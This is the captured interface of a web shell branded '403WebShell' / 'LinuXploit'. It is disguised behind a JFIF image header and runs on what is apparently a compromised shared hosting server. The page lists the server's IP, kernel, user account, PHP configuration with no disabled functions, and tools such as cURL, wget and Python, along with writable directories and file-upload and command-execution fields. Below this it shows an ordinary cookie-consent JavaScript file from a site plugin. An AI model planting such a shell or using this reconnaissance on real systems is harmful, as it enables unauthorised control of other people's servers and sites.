????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.30.238  /  Your IP : 216.73.216.153
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /./var/softaculous/sitepad/editor/site-data/plugins/cookieadmin-pro/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /./var/softaculous/sitepad/editor/site-data/plugins/cookieadmin-pro/assets/js/consent.js
function cookieadmin_pro_set_consent(prefrenc, days){
	
	const xhttp = new XMLHttpRequest();
	var data = 'action=cookieadmin_pro_ajax_handler&cookieadmin_act=save_consent&cookieadmin_pro_security=' + cookieadmin_pro_vars.nonce + '&cookieadmin_preference=' + encodeURIComponent(JSON.stringify(Object.keys(prefrenc)));
	if(cookieadmin_is_obj(cookieadmin_is_consent) && !!cookieadmin_is_consent.consent){
		data += '&cookieadmin_consent_id=' + cookieadmin_is_consent.consent;
	}
	
	var consent_id = "";
	
	xhttp.open("POST", cookieadmin_pro_vars.ajax_url, false);
	xhttp.onload = function() {
		parsed = JSON.parse(this.responseText);
		if(parsed.success){
			consent_id = parsed.data.response;
		}
		
	}
	
	xhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');
	xhttp.send(data);
	
	if(consent_id){
		return consent_id;
	}
	
	return false;
	
}

Youez - 2016 - github.com/yon3zu
LinuXploit